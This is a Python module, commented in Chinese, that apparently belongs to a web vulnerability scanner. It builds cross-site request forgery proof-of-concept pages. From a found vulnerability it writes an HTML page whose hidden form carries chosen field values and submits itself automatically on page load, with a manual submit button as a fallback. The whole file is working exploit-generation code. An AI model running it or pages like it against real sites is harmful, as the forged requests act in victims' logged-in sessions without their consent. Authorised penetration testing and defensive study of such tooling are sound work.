#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
CSRF漏洞利用模块
"""

import logging
import re
import random
import string
from urllib.parse import urlparse, parse_qsl, urlencode

logger = logging.getLogger('xss_scanner')

class CSRFExploit:
    """CSRF漏洞利用类"""
    
    def __init__(self, http_client):
        """
        初始化CSRF漏洞利用模块
        
        Args:
            http_client: HTTP客户端对象
        """
        self.http_client = http_client
        
    def exploit(self, vulnerability):
        """
        利用CSRF漏洞
        
        Args:
            vulnerability: 漏洞信息
            
        Returns:
            dict: 利用结果
        """
        logger.info(f"尝试利用CSRF漏洞: {vulnerability['url']}")
        
        url = vulnerability.get('url')
        form_action = vulnerability.get('form_action')
        form_method = vulnerability.get('form_method', 'POST')
        
        if not url or not form_action:
            return {
                'success': False,
                'message': '缺少必要的漏洞信息(URL或form_action)',
                'poc': None
            }
            
        # 生成CSRF利用PoC
        poc = self._generate_csrf_poc(vulnerability)
        
        return {
            'success': True,
            'message': '成功生成CSRF漏洞利用PoC',
            'poc': poc
        }
        
    def _generate_csrf_poc(self, vulnerability):
        """
        生成CSRF漏洞利用PoC
        
        Args:
            vulnerability: 漏洞信息
            
        Returns:
            str: CSRF PoC HTML
        """
        form_action = vulnerability.get('form_action')
        form_method = vulnerability.get('form_method', 'POST').upper()
        form_fields = vulnerability.get('form_fields', [])
        
        # 生成随机ID以防止冲突
        form_id = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
        
        html = f"""
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC</title>
    <meta charset="UTF-8">
</head>
<body>
    <h1>CSRF漏洞利用演示</h1>
    <p>此页面将自动提交表单以利用CSRF漏洞</p>
    <form id="{form_id}" action="{form_action}" method="{form_method}" style="display:none">
"""
        
        # 添加表单字段
        for field in form_fields:
            field_name = field.get('name', '')
            field_value = field.get('value', '')
            if field_name:
                html += f'        <input type="hidden" name="{field_name}" value="{field_value}">\n'
                
        html += f"""    </form>
    <script>
        // 页面加载后自动提交表单
        window.onload = function() {{
            document.getElementById("{form_id}").submit();
        }};
    </script>
    <noscript>
        <p>请启用JavaScript以自动提交表单，或者点击下面的按钮手动提交</p>
        <button type="submit" form="{form_id}">提交表单</button>
    </noscript>
</body>
</html>
"""
        return html 